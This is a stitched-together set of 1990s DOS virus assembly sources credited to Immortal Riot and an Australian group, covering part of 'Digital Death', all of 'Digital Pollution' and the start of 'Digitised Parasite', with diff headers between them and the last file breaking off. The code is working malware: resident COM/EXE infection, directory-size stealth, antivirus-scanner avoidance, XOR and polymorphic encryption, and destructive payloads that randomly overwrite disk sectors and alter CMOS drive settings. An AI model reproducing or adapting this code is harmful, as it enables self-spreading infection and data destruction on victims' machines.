exit_COM: ;exit procedure for COMs
mov di,100h
lea si,[bp+COMret]
mov cx,3
rep movsb ;restore first three bytes
pop es ;and jmp to beginning
mov ax,100h
jmp ax
exit_EXE: ;exit procedure for EXEs
pop es
mov ax,es ;restore segment regs and ss:sp
mov ds,ax
cli
mov ss,word ptr cs:[bp+EXEstack]
mov sp,word ptr cs:[bp+EXEstack+2]
sti
db 0eah ;and jmp to cs:ip
EXEret db 0,0,0,0
EXEstack dd 0
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; New int 21h handler
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
new_int21h:
cmp ax,7979h ;return installation check
jne continue
mov ax,'iR'
iret
continue:
cmp ax,4b00h ;check for exec?
jne check_dir
jmp infect
check_dir:
cmp ah,11h ;if dir function 11h, 12h
je hide_dir
cmp ah,12h
je hide_dir
cmp ah,4eh ;or function 4eh, 4fh
je hide_dir2
cmp ah,4fh
je hide_dir2 ;do some dir stealth
cmp ah,3eh ;check for close
jne do_oldint
jmp infect_close
do_oldint:
jmp do_oldint21h ;else do original int 21h
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Dir stealth routines
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
hide_dir: ;FCB stealth routine
pushf ;simulate a int call with pushf
push cs ;and cs, ip on the stack
call do_oldint21h
or al,al ;was the dir call sucessfull??
jnz skip_dir ;if not skip it
push ax bx es ;preserve registers in use
mov ah,62h ;same as 51h - get current PSP to es:bx
int 21h
mov es,bx
cmp bx,es:[16h] ;is the PSP ok??
jnz bad_psp ;if not quit
mov bx,dx
mov al,[bx] ;al holds current drive - FFh means
push ax ;extended FCB
mov ah,2fh ;get DTA-area
int 21h
pop ax
inc al ;is it an extended FCB
jnz no_ext
add bx,7 ;if so add 7
no_ext:
mov al,byte ptr es:[bx+17h] ;get seconds field
and al,1fh
xor al,1dh ;is the file infected??
jnz no_stealth ;if not - don't hide size
cmp word ptr es:[bx+1dh],vir_size ;if size is smaller than vir_size
ja hide_it
cmp word ptr es:[bx+1fh],0 ;it can't be infected
je no_stealth ;so don't hide it
hide_it:
sub word ptr es:[bx+1dh],vir_size ;else sub vir_size
sbb word ptr es:[bx+1fh],0
no_stealth:
bad_psp:
pop es bx ax ;restore regs
skip_dir:
iret ;return to program
hide_dir2:
pushf ;simulate a int call - push flags, cs and
push cs ;ip on stack and jump to int handler
call do_oldint21h
jc eofs ;if no more files - return
push ax es bx ;preserve registers
mov ah,2fh ;get DTA-area
int 21h
mov ax,es:[bx+16h]
and ax,1fh ;is the PSP ok??
xor al,29
jnz not_inf ; if not - jmp
cmp word ptr es:[bx+1ah],vir_size ;don't sub too small files
ja sub_it
cmp word ptr es:[bx+1ch],0
je not_inf
sub_it:
sub word ptr es:[bx+1ah],vir_size ;sub vir_size
sbb word ptr es:[bx+1ch],0
not_inf:
pop bx es ax ;restore registers
eofs:
retf 2 ;return and pop 2 of stack
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Infect on close routine
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
infect_close:
push es bp ax bx cx si di ds dx
cmp bx,4 ;don't close NULL, AUX and so
jbe no_close
call check_name ;es:di points to file name
add di,8 ;es:di points to extension
cmp word ptr es:[di],'OC'
jne try_again
cmp byte ptr es:[di+2],'M' ;if COM or EXE - infect
je close_infection
try_again:
cmp word ptr es:[di],'XE'
jne no_close
cmp byte ptr es:[di+2],'E'
je close_infection
no_close:
pop dx ds di si cx bx ax bp es ;otherwise jmp to oldint
jmp do_oldint21h
close_infection:
mov byte ptr es:[di-26h],2 ;mark read & write access
mov cs:Closeflag,1 ;raise closeflag for exit procedure
mov ax,4200h ;rewind file
xor cx,cx
cwd
int 21h
jmp infect_on_close ;infect it
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Determine file name for open handle
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
check_name:
push bx
mov ax,1220h ;get job file table for handle at es:di
int 2fh
mov ax,1216h ;get system file table
mov bl,byte ptr es:[di] ;for handle index in bx
int 2fh
pop bx
add di,20h ;es:di+20h points to file name
ret ;return
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Infection routine
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
infect:
push es bp ax bx cx si di ds dx
mov cs:Closeflag,0 ;make sure closeflag is off
mov ax,4300h ;get attrib
int 21h
push cx
mov ax,4301h ;and clear attrib
xor cx,cx
int 21h
mov ax,3d02h ;open file
int 21h
xchg ax,bx
infect_on_close: ;entry point if infection at close
push cs
push cs
pop ds
pop es
mov ax,5700h ;save and check time/date stamp
int 21h
push dx
push cx
and cl,1fh
xor cl,1dh
jne read_it
jmp skip_infect
read_it:
mov ah,3fh ;read first 18h bytes
mov cx,18h
mov dx,offset EXEheader ;to EXEheader
int 21h
mov byte ptr COMflag,0 ;check if EXE or COM and mark COMflag
cmp word ptr EXEheader,'ZM'
je is_EXE
cmp word ptr EXEheader,'MZ'
je is_EXE
mov byte ptr COMflag,1
is_EXE:
mov ax,4202h ;goto end of file
xor cx,cx
cwd
int 21h
push ax ;else save ax and infect EXE
push es
call check_name
cmp COMflag,1 ;if COM file continue to infect_COM
je infect_COM
infect_EXE:
cmp word ptr es:[di],'CS' ;check for common virus scanners
je is_scanner
cmp word ptr es:[di],'BT'
je is_scanner
cmp word ptr es:[di],'-F'
je is_scanner
cmp word ptr es:[di],'OT'
je is_scanner
cmp word ptr es:[di],'IV'
jne no_scanner
is_scanner:
pop es
jmp skip_infect
no_scanner:
pop es
mov di,offset EXEret ;EXEret = IP/CS
mov si,offset EXEheader+14h
mov cx,2
rep movsw
mov si,offset EXEheader+0eh ;EXEstack = SS/SP
mov cx,2
rep movsw
pop ax ;restore ax and
mov cx,10h
div cx
sub ax,word ptr [EXEheader+8h]
mov word ptr [EXEheader+14h],dx ;calculate CS:IP
mov word ptr [EXEheader+16h],ax
add ax,100
mov word ptr [EXEheader+0eh],ax ;SS:SP
mov word ptr [EXEheader+10h],100h
jmp short more_infection
infect_COM:
cmp word ptr es:[di],'OC' ;dont infect command.com!
pop es
pop ax
jne no_command_com
jmp skip_infect
no_command_com:
mov di,offset COMret ;transfer first three bytes
mov si,offset EXEheader ;could remove this and transfer
mov cx,3 ;directly from EXEheader instead
rep movsb ;doing so will save approximately 20 bytes
sub ax,3 ;subtract three from file length
mov byte ptr [EXEheader],0e9h ;and build initial jump
mov word ptr [EXEheader+1],ax
more_infection:
mov ah,2ch ;get random number from time
int 21h
mov word ptr ds:[enc_val],dx ;store it
mov ax,08d00h
mov es,ax
mov di,100h
mov si,di
mov cx,(vir_size+1)/2
rep movsw
push es
pop ds
xor bp,bp
call encrypt_decrypt ;and encrypt
mov ah,40h ;write it to file
mov cx,vir_size
mov dx,offset start_of_virus
int 21h
push cs
pop ds
cmp byte ptr COMflag,0 ;if COM file skip the next part
jne goto_start
mov ax,4202h ;go to end of file
xor cx,cx
cwd
int 21h
mov cx,512 ;recalculate new file length in 512-
div cx ;byte pages
inc ax
mov word ptr [EXEheader+2],dx
mov word ptr [EXEheader+4],ax
goto_start:
mov ax,4200h ;go to beginning of file
xor cx,cx
cwd
int 21h
cmp byte ptr [COMflag],1 ;if COM-file write first three bytes
je write_3
mov cx,18h ;else write whole EXE header
jmp short write_18h
write_3:
mov cx,3
write_18h:
mov dx,offset EXEheader
mov ah,40h
int 21h
skip_infect: ;restore time/date and mark infected
mov ax,5701h
pop cx
pop dx
or cl,00011101b
and cl,11111101b
int 21h
cmp byte ptr cs:[Closeflag],1 ;if infection on close - don't close file
je dont_close
mov ah,3eh
int 21h
pop cx
dont_close:
pop dx
pop ds
cmp byte ptr cs:[Closeflag],1 ;and don't restore attrib
je exit_close
mov ax,4301h
int 21h
exit_close:
mov byte ptr cs:Closeflag,0 ;unmark infection on close
pop di si cx bx ax bp es
do_oldint21h: ;jump to old int21h
db 0eah
OldInt21h dd 0
Closeflag db 0
COMflag db 1
COMret db 0cdh,20h,00h
EXEheader db 18h dup(0)
signature db "Digital Death - v0.90á (c) '94 Raver/Immortal Riot"
end_of_encryption:
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; End of encryption - the code below this point is unencrypted
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
enc_val dw 0 ;value to en/decrypt with
encrypt_decrypt:
mov dx,word ptr ds:[bp+enc_val]
lea si,[bp+install_code]
mov cx,(end_of_encryption-install_code)/2
loopy:
xor word ptr ds:[si],dx ;simple ordinary xor-loop
inc si ;encryption
inc si
loop loopy
ret
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; End of virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
end_of_virus:
cseg ends
end start_of_virus
@@ -0,0 +1,513 @@
; VirusName : Digital Pollution
; Origin : Sweden
; Author : Raver
; Group : Immortal Riot
; Date : 25/07/94
; It's been a while since I released my last virus but here's a new one
; anyway.
;
; It's a pretty simple resident non-overwriting .com-infector with
; basic stealth function. Of course it restores time/date/attrib
; and stuff like that. It hooks int 21h and infects on execute
; and open (4b00h/3dh). If a "dir" command is executed it will hide
; the new filesize of infected size by hooking 11h/12h (Find first/next
; the FCB way). The comments is, I think, pretty OK and easy to follow.
;
; As we have started to make out viruses a bit more destructive I've
; included some nuking routines. The virus hooks int 25h (read sector)
; at install and every time it's called there is a 3 % chance that it
; will execute a int 26h instead (write sector). It also includes a
; routine to change the CMOS values for the HD/floppy. Every time an
; infected file is executed it's 2 % chance that this will be activated
; and if so the HD will be set to 20MB and the floppy to 360kb.
; Though this can easily be restored it can cause the novice to do
; some unpredictable things before he really detects the real error.
; (like formating floppys or HD or call his hardware vendor :)
; Also if it's the swedish national day (06/06) it will play some of
; the swedish national antheme. It's completely undestructive but
; what the phuck, it could be fun.
; At last some credits to Macaroni Ted 'cause I've borrowed the
; play_song routine from his CyberCide Virus.
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; DIGITAL POLLUTION
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg segment byte public 'code'
assume cs:cseg, ds:cseg
org 100h
vir_size equ end_of_virus-start_of_virus
start_of_virus:
jmp entry_point
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Install code
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
install:
mov ax,7777h ;check if we're already in mem
int 21h
cmp ax,'iR' ;if so - jmp already_resident
je already_resident
mov ah,2ah ;get data
int 21h
cmp dx,0606h ;if it's Sweden's national day
jne dont_play ;play the national antheme
call play_song
dont_play:
mov ah,4ah ;get #of available paragraphs in bx
mov bx,0ffffh
int 21h
sub bx,(vir_size+15)/16+1 ;recalculate and
mov ah,4ah
int 21h
mov ah,48h ;allocate enough mem for virus
mov bx,(vir_size+15)/16
int 21h
jc already_resident ;exit if error
dec ax ;ax-1 = MCB
mov es,ax
mov word ptr es:[1],8 ;Mark DOS as owner
push ax ;save for later use
mov ax,3521h ;get interrupt vectors for 21, 25 & 26h
int 21h
mov word ptr ds:[OldInt21h],bx
mov word ptr ds:[OldInt21h+2],es
mov al,25h
int 21h
mov word ptr ds:[old_int25h],bx
mov word ptr ds:[old_int25h+2],es
inc al
int 26h
mov word ptr ds:[int26h],bx
mov word ptr ds:[int26h+2],es
pop ax ;ax = MCB for allocated mem
push cs
pop ds
cld ;cld for movsw
sub ax,0fh ;es:[100h] = start of allocated mem
mov es,ax
mov di,100h
lea si,[bp+offset start_of_virus]
mov cx,(vir_size+1)/2 ;copy entire virii to mem
rep movsw ;this way keeps the original offsets
;in the int handler
push es
pop ds
mov dx,offset new_int21h ;hook int21h to new_int21h
mov ax,2521h
int 21h
already_resident:
mov di,100h ;restore the 3 first bytes to it's
push cs ;original position
push cs
pop es
pop ds
lea si,[bp+orgbuf]
mov cx,3
rep movsb
mov ah,2ch ;get time
int 21h
cmp dl,1 ;about 2% chance of a CMOS nuke
ja exit
call screw_cmos
exit:
mov ax,100h ;return control to original program
jmp ax ;at cs:100h
orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes
newbuf db 0e9h,00h,00h ;buffer to calculate a new entry
;offset
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; new interrupt 21h handler
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
new_int21h:
cmp ax,7777h ;is it residency check??
jne continue
mov ax,'iR' ;if so return 'iR'
iret
continue:
cmp ax,4b00h ;check for exec
je infect
check_open:
cmp ah,3dh ;check for open
jne check_dir
jmp check_com ;if si check if .com file
check_dir:
cmp ah,11h ;is it a dir call??
je hide_dir ;then do some FCB stealth
cmp ah,12h
je hide_dir
jmp do_oldint21h
hide_dir: ;FCB stealth routine
pushf ;simulate a int call with pushf
push cs ;and cs, ip on the stack
call do_oldint21h
or al,al ;was the dir call successfull??
jnz skip_dir ;if not skip it
push ax bx es ;preserve registers in use
mov ah,62h ;same as 51h - Get current PSP to es:bx
int 21h
mov es,bx
cmp bx,es:[16h] ;is the PSP OK??
jnz bad_psp ;if not quit
mov bx,dx
mov al,[bx] ;al holds current drive - FFh means
push ax ;extended FCB
mov ah,2fh ;get DTA-area
int 21h
pop ax
inc al ;is it an extended FCB
jnz no_ext
add bx,7 ;if so add 7
no_ext:
mov al,byte ptr es:[bx+17h] ;get seconds field
and al,1fh
xor al,1dh ;is the file infected??
jnz no_stealth ;if not - don't hide size
cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
jbe no_stealth ;as an infected is smaller -
sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from
no_stealth: ;dir entry
bad_psp:
pop es bx ax ;restore regs
skip_dir:
iret
infect: ;.com file infection routine
push es bp ax bx cx si di ds dx ;preserve registers in use
mov ax,4300h ;get attrib
int 21h
push cx ;save attrib
mov ax,4301h ;clear attrib
xor cx,cx
int 21h
mov ax,3d02h ;open file
pushf ;we can't have a standard int 21h
push cs ;call here as we would get caught
call do_oldint21h ;in a infinite loop at open calls
xchg ax,bx ;bx = file handle
push cs
pop ds
mov ax,5700h ;get time/date
int 21h
push dx ;push date/time for later use
push cx
and cl,1fh ;check if infected (if seconds is 29)
xor cl,1dh
je skip_infect
mov ah,3fh ;read three bytes
mov cx,3
mov dx,offset ds:orgbuf
int 21h
cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file
je skip_infect
cmp word ptr ds:orgbuf,'MZ'
je skip_infect ;if so - don't infect
mov ax,4202h ;go eof
xor cx,cx
cwd
int 21h
add ax,offset entry_point-106h ;calculate entry offset to jmp
mov word ptr ds:newbuf[1],ax ;move it to newbuf
mov ah,2ch ;get random number and put enc_val
int 21h
mov word ptr ds:enc_val,dx
mov ax,08d00h ;copy entire virus to 8d00h:100h
mov es,ax
mov di,100h
mov si,di
mov cx,(vir_size+1)/2
rep movsw
push es
pop ds
xor bp,bp ;and encrypt it there
call encrypt_decrypt
mov ah,40h ;write virus to file from position
mov cx,end_of_virus-install ;08d00h:100h
mov dx,offset install
int 21h
push cs
pop ds
mov ax,4200h ;go sof
xor cx,cx
cwd
int 21h
mov ah,40h ;write 3 start bytes
mov cx,3
mov dx,offset newbuf
int 21h
skip_infect:
mov ax,5701h ;restore time/date and mark it infected
pop cx
pop dx
or cl,00011101b
and cl,11111101b
int 21h
;skip_infect:
mov ah,3eh ;close the file
int 21h
pop cx ;get old attrib in cx
pop dx
pop ds
mov ax,4301h ;and put it right
int 21h
pop di si cx bx ax bp es ;restore registers
do_oldint21h:
db 0eah ;jmp to original int21h handler
OldInt21h dd 0
check_com: ;routine to check if a file has the
push di es cx ax ;extension .com
push ds
pop es
mov cx,64
mov di,dx
mov al,'.'
repne scasb ;search for the '.' location
pop ax cx es
cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM
jne break
cmp byte ptr ds:[di+2],'M'
jne break
pop di
jmp infect ;if the match - infect the file
break:
pop di
jmp short do_oldint21h
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; new interrupt 25h handler
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
new_int25h:
push dx
cmp al,2 ;check for c: and above
jb do_int25h
push cx ax
mov ah,2ch ;get random number
int 21h
pop ax cx
cmp dl,2 ;3% chance of a int 26 nuke
ja do_int25h
trash:
pop dx
db 0eah ;trash cx # of sectors by jumping
int26h dd 0 ;to int26h handler
do_int25h:
pop dx
db 0eah ;lucky victim - a standard int25h call
old_int25h dd 0
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; CMOS nuking routine
;
; This routine changes the floppy alternative in CMOS to a 360kb floppy
; or the hd to a 20 MB
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
screw_cmos:
or dl,dl ;if dl = 0 nuke CMOS floppy
jne floppy
mov cl,19h ;else nuke CMOS hd
jmp short get_crc
floppy:
mov cl,10h
get_crc: ;get CMOS crc checksum
mov ax,2eh ;get most significant byte
out 70h,al ;and store in dh
in al,71h
xchg dh,al
mov al,2fh ;get least significant byte
out 70h,al ;and store in dl
in al,71h
xchg dl,al ;dx holds crc checksum
mov al,cl ;cl = function (10h=floopy, 19h=hd)
out 70h,al
in al,71h ;get current value in al
sub dx,ax ;and subtract from checksum
add dx,10h ;add new value to checksum
mov al,cl
out 70h,al
mov al,10h
out 71h,al ;put new value in CMOS
mov al,2eh ;put back new crc checksum
out 70h,al
xchg dh,al
out 71h,al ;least signigicant byte
mov al,2fh
out 70h,al
xchg dl,al
out 71h,al ;most significant byte
ret ;done!
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; Swedish national anthem routine
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
play_song:
lea si,[bp+tune]
next_note: ;loop through the tune at ds:si
lodsw ;until ds:si = 0
or ax,ax
je eot
mov di,ax
play:
mov al,0b6h
out 43h,al
mov dx,12h
mov ax,3280h
div di
out 42h,al
mov al,ah
out 42h,al
in al,61h
mov ah,al
or al,3
out 61h,al
lodsw
mov cx,ax
delay:
push cx
mov cx,2700
loop $
pop cx
loop delay
out 61h,al
jmp next_note
eot:
xor al,al ;kill the sound
out 61h,al
ret
tune dw 370,600 ;data for the tune
dw 370,1200
dw 294,600
dw 294,600
dw 294,1200
dw 330,600
dw 370,600
dw 370,1200
dw 330,600
dw 294,600
dw 277,1800
dw 330,600
dw 330,1200
dw 277,600
dw 294,600
dw 330,600
dw 277,600
dw 370,600
dw 294,600
dw 247,2400
dw 220,1200
dw 0
dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; En/de-cryption routine and entry point - unencrypted code
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
encrypt_decrypt:
mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax
lea di,[bp+install] ;di points to start of crypt
mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc.
xor_loopy:
xor word ptr ds:[di],ax ;a simple xor loop to fullfill
inc di ;the task
inc di
loop xor_loopy
ret
enc_val dw 0
entry_point:
mov sp,102h ;some alternative way to pop
call get_bp ;we don't want TBAV to flag
get_bp: ;a flexible entry point
mov bp,word ptr ds:[100h]
mov sp,0fffeh
sub bp,offset get_bp
call encrypt_decrypt ;decrypt the virus
jmp install ;jmp to install code
end_of_virus:
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
; end of virus
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
cseg ends
end start_of_virus
@@ -0,0 +1,637 @@
comment %
Digitised Parasite
Heyup, dudes, I added the "Weiners XOR machine" that I've been working on,
it sucks and DF keeps telling me that, but hey, it polymorphs right?
right guys? HEhehehe, pixy, wheres my disassembly you promised me?
and no more cracks bout the "WXM" i finished it and it works, so fuck me all
you lazy sods!
Well, so it's not really, polymorphic, but it does make from scratch a
decryptor, okey, okey, so shaddup already ;)
Vir_tit: Digitised Parasite
Variant: 5th "Australian Parasite"
Author: Australian Parasite [AIH]
Origin: Australia
Length: A whopping 971bytes
Issue: Resident .COM infector on EXEC
Date: Completion in June 1994
%
VERS EQU 5
MAIN:
CALL X0
X0:
MOV BP,SP
MOV DI,0100
XCHG W[BP],DI
SUB DI,0103
MOV BP,0100
XCHG DI,BP
LEA SI,[BP+OLD3]
MOVSW
MOVSB
MOV AX,02B44
INT 21H
CMP AH,VERS
JNE GO_MEM
RET
GO_MEM:
MOV CX,PARGS ;AMOUNT OF MEMORY
MOV DX,CS
DEC DX
MOV ES,DX
MOV DX,W[2] ;SUB IT FROM CURRENT PSP
SUB DX,CX
ES: SUB W[3],CX ;SUB IT FROM OVERALL MEM
MOV W[2],DX
XOR DI,DI
MOV ES,DX
LEA SI,[BP+0100]
PUSH CS
POP DS
MOV AX,03521 - BUFLEN
MOV CX,BUFLEN
ADD AX,CX
REP MOVSB
PUSH ES
POP DS
INT 21H
MOV W[OFFSET JUMP+3-0100],ES
MOV W[OFFSET JUMP+1-0100],BX
MOV DX,INT21H-0100
MOV AX,02521 - (INT21H-0100)
ADD AX,DX
INT 21H
PUSH CS,CS
POP ES,DS
RET
db "The Digitised Parasite : Australian Parasite [AIH]"
INT21H:
PUSHF
PUSH AX
ADD AH,AH
CMP AH,04B+04B
POP AX
JE DO_IT
POPF
CMP AX,02B44
JNE JUMP
MOV AH,VERS
IRET
JUMP: JMP 0000:0000
DO_IT:
push ax,bx,cx,dx,si,di,bp,es,ds
;open file
MOV AX,03D02
INT 21H
JNC X1
JMP DO_RET
X1:
;save handle
MOV BX,AX
PUSH CS,CS
POP ES,DS
;save the first 3 bytes
MOV AH,03F
MOV CX,3
MOV DX,OFFSET OLD3-0100
INT 21H
MOV SI,DX
ADD DX,"ZM" - OFFSET (OLD3-0100)
CMP W[SI],DX
JE DO_RETS
;move pointer to end of file to get size
MOV AX,04202
XOR CX,CX
XOR DX,DX
INT 21H
SUB AX,3
MOV W[OFFSET HOST-0100],AX
MOV AX,04202
MOV CX,-1
MOV DX,0-MLEN
INT 21H
MOV DX,ENDV-0100
MOV CX,MLEN
MOV AH,03F
INT 21H
MOV SI,DX
MOV DI,MARKER-0100
REP CMPSB
JE DO_RETS
;get date & time
MOV AX,05700
INT 21H
PUSH CX
PUSH DX
PUSH BX
MOV AX,W[OFFSET HOST-0100]
ADD AX,0103
MOV BX,BUFLEN
XOR SI,SI
MOV DI,OFFSET ENDV-0100
CALL POLY
POP BX
MOV AH,040
INT 21H
MOV AH,040
MOV CX,MLEN
MOV DX,OFFSET MARKER-0100
INT 21H
MOV AX,04200
XOR CX,CX
XOR DX,DX
INT 21H
MOV CL,3
MOV DX,OFFSET JUMPS-0100
MOV AH,040
INT 21H
POP DX
POP CX
MOV AX,05701
INT 21H
DO_RETS:
MOV AH,03E
INT 21H
DO_RET:
POP DS,ES,BP,DI,SI,DX,CX,BX,AX
POPF
JMP JUMP
;==============================================================================
;call Poly with
; AX = Delta offset
; BX = Length of code to encrypt
;DS:SI = Offset of code to encrypt
;ES:DI = Buffer offset of where to put cryption routine
;returns
;cx = total length to write
;ds:dx = 32bit offset of where code is
